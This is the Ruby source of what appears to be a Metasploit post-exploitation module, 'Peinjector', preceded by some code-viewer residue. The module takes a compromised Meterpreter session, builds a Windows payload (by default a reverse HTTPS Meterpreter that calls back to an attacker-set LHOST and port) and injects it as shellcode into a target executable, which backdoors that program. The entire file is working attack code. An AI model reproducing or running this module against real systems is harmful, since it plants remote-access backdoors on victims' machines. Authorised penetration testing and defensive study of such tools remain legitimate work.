111 lines
3.5 KiB
Ruby
111 lines
3.5 KiB
Ruby
require 'rex'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::Common
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Peinjector',
|
|
'Description' => %q{
|
|
This module will inject a specified windows payload into a target executable.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Maximiliano Tedesco <maxitedesco1@gmail.com>'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
peinjector_inject_shellcode
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PAYLOAD', [false, 'Windows Payload to inject into the targer executable.', 'windows/meterpreter/reverse_https']),
|
|
OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),
|
|
OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]),
|
|
OptString.new('TARGETPE', [false, 'Path of the target executable to be injected']),
|
|
OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."])
|
|
]
|
|
)
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def run
|
|
session.core.use('peinjector')
|
|
|
|
# syinfo is only on meterpreter sessions
|
|
print_status("Running module against #{sysinfo['Computer']}") if !sysinfo.nil?
|
|
|
|
# Check that the payload is a Windows one and on the list
|
|
if !session.framework.payloads.module_refnames.grep(/windows/).include?(datastore['PAYLOAD'])
|
|
print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
|
|
return
|
|
end
|
|
|
|
# Set variables
|
|
pay_name = datastore['PAYLOAD']
|
|
lhost = datastore['LHOST']
|
|
lport = datastore['LPORT']
|
|
targetpe = datastore['TARGETPE']
|
|
opts = datastore['OPTIONS']
|
|
|
|
# Create payload
|
|
payload = create_payload(pay_name, lhost, lport, opts)
|
|
|
|
# Inject payload
|
|
inject_payload(payload, targetpe)
|
|
end
|
|
|
|
# Create a payload given a name, lhost and lport, additional options
|
|
def create_payload(name, lhost, lport, opts = '')
|
|
pay = client.framework.payloads.create(name)
|
|
pay.datastore['LHOST'] = lhost
|
|
pay.datastore['LPORT'] = lport
|
|
pay.datastore['EXITFUNC'] = 'thread'
|
|
pay.available_space = 1.gigabyte # this is to generate a proper uuid and make the payload to work with the universal handler
|
|
|
|
if !opts.blank?
|
|
opts.split(',').each do |o|
|
|
opt, val = o.split('=', 2)
|
|
pay.datastore[opt] = val
|
|
end
|
|
end
|
|
# Validate the options for the module
|
|
pay.options.validate(pay.datastore)
|
|
return pay
|
|
end
|
|
|
|
def inject_payload(pay, targetpe)
|
|
print_status('Generating payload')
|
|
raw = pay.generate
|
|
param = {}
|
|
|
|
if pay.arch.join == ARCH_X64
|
|
threaded_shellcode = client.peinjector.add_thread_x64(raw)
|
|
param[:isx64] = true
|
|
else
|
|
threaded_shellcode = client.peinjector.add_thread_x86(raw)
|
|
param[:isx64] = false
|
|
end
|
|
|
|
param[:shellcode] = threaded_shellcode
|
|
param[:targetpe] = targetpe
|
|
param[:size] = threaded_shellcode.length
|
|
|
|
print_status("Injecting #{pay.name} into the executable #{param[:targetpe]}")
|
|
client.peinjector.inject_shellcode(param)
|
|
print_good("Successfully injected payload into the executable: #{param[:targetpe]}")
|
|
rescue ::Exception => e
|
|
print_error("Failed to Inject Payload to executable #{param[:targetpe]}!")
|
|
print_error(e.to_s)
|
|
end
|
|
end
|